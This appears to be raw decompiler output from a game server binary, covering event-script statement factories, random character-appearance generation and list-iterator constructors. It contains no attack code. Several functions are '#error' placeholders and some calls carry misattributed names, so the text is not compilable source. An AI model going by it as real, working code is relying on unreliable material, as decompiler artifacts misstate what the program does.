*PineEventScriptNode__ShineItemOwner___vftable_)(int tr); //----- (004B0100) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobAttribute::sb_CloneMe(PineEventScriptNode::ShineMobAttribute *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobattr", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobAttribute::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF514: using guessed type int (__stdcall *PineEventScriptNode__ShineMobAttribute___vftable_)(int tr); //----- (004B0160) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectCollect::sb_CloneMe(PineEventScriptNode::ShineObjectCollect *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "collect", 1u, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectCollect::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF530: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectCollect___vftable_)(int tr); //----- (004B01C0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sb_CloneMe(PineEventScriptNode::ShineEndOfKingdomQuest *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "endofkq", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfKingdomQuest::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF54C: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfKingdomQuest___vftable_)(int tr); //----- (004B0220) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfGuildTournament::sb_CloneMe(PineEventScriptNode::ShineEndOfGuildTournament *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "endofgt", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfGuildTournament::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF568: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfGuildTournament___vftable_)(int tr); //----- (004B0280) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineGuildTorunamentResult::sb_CloneMe(PineEventScriptNode::ShineGuildTorunamentResult *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "gtresult", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineGuildTorunamentResult::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF584: using guessed type int (__stdcall *PineEventScriptNode__ShineGuildTorunamentResult___vftable_)(int tr); //----- (004B02E0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeCreate::sb_CloneMe(PineEventScriptNode::ShineCostumeCreate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "costumecreate", 1u, 3, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeCreate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF5A4: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeCreate___vftable_)(int tr); //----- (004B0340) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeTakeOff::sb_CloneMe(PineEventScriptNode::ShineCostumeTakeOff *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "costumetakeoff", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineCostumeTakeOff::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF5C8: using guessed type int (__stdcall *PineEventScriptNode__ShineCostumeTakeOff___vftable_)(int tr); //----- (004B03A0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWeddingComplete::sb_CloneMe(PineEventScriptNode::ShineWeddingComplete *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "weddingcomplete", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWeddingComplete::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF5EC: using guessed type int (__stdcall *PineEventScriptNode__ShineWeddingComplete___vftable_)(int tr); //----- (004B0400) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePlayerWalk::sb_CloneMe(PineEventScriptNode::ShinePlayerWalk *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "playerwork", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePlayerWalk::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF610: using guessed type int (__stdcall *PineEventScriptNode__ShinePlayerWalk___vftable_)(int tr); //----- (004B0460) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindPlayer::sb_CloneMe(PineEventScriptNode::ShineFindPlayer *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "findplayer", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindPlayer::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF630: using guessed type int (__stdcall *PineEventScriptNode__ShineFindPlayer___vftable_)(int tr); //----- (004B04C0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleportAll::sb_CloneMe(PineEventScriptNode::ShineTeleportAll *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "teleportall", 1u, 0, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleportAll::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF650: using guessed type int (__stdcall *PineEventScriptNode__ShineTeleportAll___vftable_)(int tr); //----- (004B0520) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBriefEffect::sb_CloneMe(PineEventScriptNode::ShineBriefEffect *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "briefeffect", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBriefEffect::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF670: using guessed type int (__stdcall *PineEventScriptNode__ShineBriefEffect___vftable_)(int tr); //----- (004B0580) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBanFromArea::sb_CloneMe(PineEventScriptNode::ShineBanFromArea *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "banfromarea", 0, 5, 5); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBanFromArea::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF690: using guessed type int (__stdcall *PineEventScriptNode__ShineBanFromArea___vftable_)(int tr); //----- (004B05E0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteFlag::sb_CloneMe(PineEventScriptNode::ShineRegesteFlag *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "RegisteFlag", 0, 3, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteFlag::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF6B0: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteFlag___vftable_)(int tr); //----- (004B0640) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteGate::sb_CloneMe(PineEventScriptNode::ShineRegesteGate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "RegisteGate", 0, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteGate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF6D0: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteGate___vftable_)(int tr); //----- (004B06A0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDiceGameStart::sb_CloneMe(PineEventScriptNode::ShineDiceGameStart *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "DiceGameStart", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDiceGameStart::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF6F0: using guessed type int (__stdcall *PineEventScriptNode__ShineDiceGameStart___vftable_)(int tr); //----- (004B0700) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRevival::sb_CloneMe(PineEventScriptNode::ShineRevival *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "revival", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRevival::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF714: using guessed type int (__stdcall *PineEventScriptNode__ShineRevival___vftable_)(int tr); //----- (004B0760) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSpawn::sb_CloneMe(PineEventScriptNode::ShineSpawn *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "spawn", 0, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSpawn::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF730: using guessed type int (__stdcall *PineEventScriptNode__ShineSpawn___vftable_)(int tr); //----- (004B07C0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHPSet::sb_CloneMe(PineEventScriptNode::ShineHPSet *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "hpset", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHPSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF74C: using guessed type int (__stdcall *PineEventScriptNode__ShineHPSet___vftable_)(int tr); //----- (004B0820) -------------------------------------------------------- void __thiscall ScriptBriefMaker::sbr_RandomShape(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf) { char v2; // bl@2 unsigned int v3; // eax@7 int v4; // eax@7 unsigned int v5; // eax@10 unsigned int v6; // eax@10 unsigned int v7; // eax@10 char charrace; // [sp+Ch] [bp-8h]@2 signed int chargender; // [sp+10h] [bp-4h]@8 rndbox.rb_box[5].rs_point.value = rndbox.rb_box[5].rs_point.mask & (rndbox.rb_box[5].rs_point.value + 1); switch ( rndbox.rb_box[5].rs_slot[rndbox.rb_box[5].rs_point.value] ) { case 1u: v2 = 6; charrace = 1; break; case 2u: v2 = 11; charrace = 2; break; case 3u: v2 = 16; charrace = 3; break; case 4u: v2 = 21; charrace = 1; break; default: v2 = 1; charrace = 1; break; } v3 = rndbox.rb_box[2].rs_point.mask & (rndbox.rb_box[2].rs_point.value + 1); rndbox.rb_box[2].rs_point.value = v3; v4 = rndbox.rb_box[2].rs_slot[v3]; if ( !v4 || (chargender = 0, v4 != 1) ) chargender = 1; buf->handle = -1; *(_QWORD *)&buf->charid.n4_name[8] = 0i64; *(_QWORD *)&buf->charid.n4_name[0] = 0i64; strncpy(buf->charid.n4_name, "???", 0x10u); buf->chrclass = v2; buf->mode = 1; buf->Level = 1; buf->shapedata.notcamp.shape._bf0 = charrace & 3 | 4 * (v2 & 0x1F | (unsigned __int8)(32 * chargender)); v5 = rndbox.rb_box[3].rs_point.mask & (rndbox.rb_box[3].rs_point.value + 1); rndbox.rb_box[3].rs_point.value = v5; buf->shapedata.notcamp.shape.haircolor = LOBYTE(rndbox.rb_box[3].rs_slot[v5]); v6 = rndbox.rb_box[3].rs_point.mask & (rndbox.rb_box[3].rs_point.value + 1); rndbox.rb_box[3].rs_point.value = v6; buf->shapedata.notcamp.shape.faceshape = LOBYTE(rndbox.rb_box[3].rs_slot[v6]); v7 = rndbox.rb_box[4].rs_point.value + 1; if ( chargender ) { rndbox.rb_box[4].rs_point.value = rndbox.rb_box[4].rs_point.mask & v7; buf->shapedata.notcamp.shape.hairtype = LOBYTE(rndbox.rb_box[4].rs_slot[rndbox.rb_box[4].rs_point.mask & v7]) + 4; buf->polymorph = -1; } else { rndbox.rb_box[4].rs_point.value = rndbox.rb_box[4].rs_point.mask & v7; buf->shapedata.notcamp.shape.hairtype = LOBYTE(rndbox.rb_box[4].rs_slot[rndbox.rb_box[4].rs_point.mask & v7]); buf->polymorph = -1; } } //----- (004B09C0) -------------------------------------------------------- PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ScriptBriefMaker::sbr_MakeBeggar(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf) { ScriptBriefMaker::sbr_RandomShape(this, buf); buf->shapedata.notcamp.equip.Equ_Head = -1; buf->shapedata.notcamp.equip.Equ_RightHand = -1; buf->shapedata.notcamp.equip.Equ_Body = -1; buf->shapedata.notcamp.equip.Equ_LeftHand = -1; buf->shapedata.notcamp.equip.Equ_Pant = -1; buf->shapedata.notcamp.equip.Equ_Boot = -1; buf->shapedata.notcamp.equip.Equ_AccBoot = -1; buf->shapedata.notcamp.equip.Equ_AccPant = -1; buf->shapedata.notcamp.equip.Equ_AccBody = -1; buf->shapedata.notcamp.equip.Equ_AccHeadA = -1; buf->shapedata.notcamp.equip.Equ_AccShoulderA = -1; buf->shapedata.notcamp.equip.Equ_AccShoulderB = -1; buf->shapedata.notcamp.equip.Equ_AccHeadB = -1; buf->shapedata.notcamp.equip.Equ_AccHeadC = -1; buf->shapedata.notcamp.equip.Equ_AccLeftHand = -1; buf->shapedata.notcamp.equip.Equ_AccRightHand = -1; buf->shapedata.notcamp.equip.Equ_AccBack = -1; buf->shapedata.notcamp.equip.Equ_AccWeast = -1; buf->shapedata.notcamp.equip.Equ_AccHip = -1; buf->shapedata.notcamp.equip.Equ_AccFoot = -1; buf->emoticon.emoticonid = -1; buf->emoticon.emoticonframe = 0; *(_DWORD *)&buf->chartitle.Type = 0; memset(&buf->abstatebit, 0, sizeof(buf->abstatebit)); buf->myguild = 0; buf->type = 4; buf->isGuildAcademyMember = 0; return buf; } //----- (004B0A60) -------------------------------------------------------- void __thiscall AxialListKQReward::AxialListKQReward(AxialListKQReward *this, unsigned int kq) { AxialListKQReward *v2; // esi@1 KingdomQuest::KQElement *v3; // eax@1 __int16 hnd; // [sp+0h] [bp-14h]@1 AxialListKQReward *v5; // [sp+4h] [bp-10h]@1 int v6; // [sp+10h] [bp-4h]@1 v2 = this; v5 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v6 = 0; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQReward::_vftable_; v3 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, kq, (unsigned __int16 *)&hnd); v2->alkqr_kqe = v3; if ( v3 ) v2->alkqr_DemandKill = v3->kqe_kqinfo.DemandMobKill; } // 5BF768: using guessed type int (__stdcall *AxialListKQReward___vftable_)(int, int, int distancesquar); //----- (004B0AD0) -------------------------------------------------------- void __thiscall AxialListKQReward::_AxialListKQReward(AxialListKQReward *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQReward::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF768: using guessed type int (__stdcall *AxialListKQReward___vftable_)(int, int, int distancesquar); //----- (004B0AE0) -------------------------------------------------------- #error "4B0AE0: undefined or illegal type '#325' (funcsize=32)" //----- (004B0B30) -------------------------------------------------------- void __thiscall AxialListKQEnd::_AxialListKQEnd(AxialListKQEnd *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF76C: using guessed type int (__thiscall *AxialListKQEnd___vftable_)(AxialListProtocolSend *this, #325 *, #325 *, int distancesquar); //----- (004B0B40) -------------------------------------------------------- void __thiscall AxialListLinkTo::AxialListLinkTo(AxialListLinkTo *this, NPCManager::LinkInformTemplete *lnkinf) { AxialListLinkTo *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->allt_lnkinf = lnkinf; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListLinkTo::_vftable_; } // 5BF770: using guessed type int (__stdcall *AxialListLinkTo___vftable_[2])(int, int, int distancesquar); //----- (004B0B60) -------------------------------------------------------- void __thiscall AxialListLinkTo::_AxialListLinkTo(AxialListLinkTo *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListLinkTo::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF770: using guessed type int (__stdcall *AxialListLinkTo___vftable_[2])(int, int, int distancesquar); //----- (004B0B70) -------------------------------------------------------- #error "4B0B70: undefined or illegal type '#325' (funcsize=22)" //----- (004B0BB0) -------------------------------------------------------- void __thiscall AxialListLinkToByObserver::AxialListLinkToByObserver(AxialListLinkToByObserver *this, NPCManager::LinkInformTemplete *lnkinf) { AxialListLinkToByObserver *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->allt_lnkinf = lnkinf; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListLinkToByObserver::_vftable_; } // 5BF774: using guessed type int (__stdcall *AxialListLinkToByObserver___vftable_)(int, int, int distancesquar); //----- (004B0BD0) -------------------------------------------------------- void __thiscall AxialListLinkToByObserver::_AxialListLinkToByObserver(AxialListLinkToByObserver *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListLinkToByObserver::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF774: using guessed type int (__stdcall *AxialListLinkToByObserver___vftable_)(int, int, int distancesquar); //----- (004B0BE0) -------------------------------------------------------- #error "4B0BE0: undefined or illegal type '#325' (funcsize=37)" //----- (004B0C50) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShinePrintf::sa_Step(PineEventScriptNode::ShinePrintf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShinePrintf *v4; // esi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@1 char *v6; // eax@3 char *v7; // ST04_4@3 DebugLogging *v8; // eax@3 DebugLogging *v9; // eax@3 unsigned __int16 result; // ax@4 PineScriptToken token; // [sp+Ch] [bp-110h]@1 unsigned int v12; // [sp+10Ch] [bp-10h]@4 int v13; // [sp+118h] [bp-4h]@1 v4 = this; PineScriptToken::pst_Clear(&token); v5 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; v13 = 0; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)(&token, ps) != 0 ) { MoveManager::MoveManager((DiceTaiSai *)&token); v7 = v6; v8 = DebugLogging::operator<<(&DeadHandleLog, "@@@printf : "); v9 = DebugLogging::operator<<(v8, v7); DebugLogging::operator<<(v9, &deb_LF); MoveManager::MoveManager((DiceTaiSai *)&token); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShinePrintf::sa_Step: wrong argument", 0); } PineScriptStack::ProcessStack::ps_Pop(ps); v13 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); __security_check_cookie(v12); return result; } //----- (004B0D40) -------------------------------------------------------- void __thiscall AxialListMobVanish::_AxialListMobVanish(AxialListMobVanish *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobVanish::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7C4: using guessed type int (__stdcall *AxialListMobVanish___vftable_)(int, #325 *obj, int distancesquar); //----- (004B0D50) -------------------------------------------------------- void __thiscall AxialListItemErase4All::_AxialListItemErase4All(AxialListItemErase4All *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListItemErase4All::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7C8: using guessed type int (__stdcall *AxialListItemErase4All___vftable_)(int, int, int distancesquar); //----- (004B0D60) -------------------------------------------------------- void __thiscall AxialListMobStateSet::AxialListMobStateSet(AxialListMobStateSet *this, unsigned __int16 mobid, ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime) { AxialListMobStateSet *v6; // esi@1 v6 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v6->almss_MobID = mobid; v6->almss_StateIndex = abstateidx; v6->almss_Dictionary = dic; v6->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; v6->almss_Strength = strength; v6->almss_KeepTime = keeptime; } // 5BF7CC: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #325 *obj, int distancesquar); //----- (004B0DA0) -------------------------------------------------------- void __thiscall AxialListMobStateSet::_AxialListMobStateSet(AxialListMobStateSet *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7CC: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #325 *obj, int distancesquar); //----- (004B0DB0) -------------------------------------------------------- #error "4B0DB0: undefined or illegal type '#325' (funcsize=70)" //----- (004B0E60) -------------------------------------------------------- void __thiscall AxialListPlayerStateSet::_AxialListPlayerStateSet(AxialListPlayerStateSet *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7D0: using guessed type int (__thiscall *AxialListPlayerStateSet___vftable_)(AxialListPlayerStateSet *this, int, #325 *obj, int distancesquar); //----- (004B0E70) -------------------------------------------------------- void __thiscall AxialListPlayerStateSet::AxialListPlayerStateSet(AxialListPlayerStateSet *this, ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime) { AxialListPlayerStateSet *v5; // esi@1 v5 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v5->alpss_StateIndex = abstateidx; v5->alpss_KeepTime = keeptime; v5->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; v5->alpss_Strength = strength; v5->alpss_Dictionary = dic; } // 5BF7D0: using guessed type int (__thiscall *AxialListPlayerStateSet___vftable_)(AxialListPlayerStateSet *this, int, #325 *obj, int distancesquar); //----- (004B0EA0) -------------------------------------------------------- #error "4B0EA0: undefined or illegal type '#325' (funcsize=80)" //----- (004B0F70) -------------------------------------------------------- void __thiscall AxialListTeleport::_AxialListTeleport(AxialListTeleport *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleport::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7D4: using guessed type int (__stdcall *AxialListTeleport___vftable_[6])(int, int, int distancesquar); //----- (004B0F80) -------------------------------------------------------- #error "4B0F80: undefined or illegal type '#325' (funcsize=26)" //----- (004B0FD0) -------------------------------------------------------- void __thiscall AxialListTeleportAnywhere::_AxialListTeleportAnywhere(AxialListTeleportAnywhere *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportAnywhere::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BF7D8: using guessed type int (__stdcall *AxialListTeleportAnywhere___vftable_[5])(int, int, int distancesquar); //----- 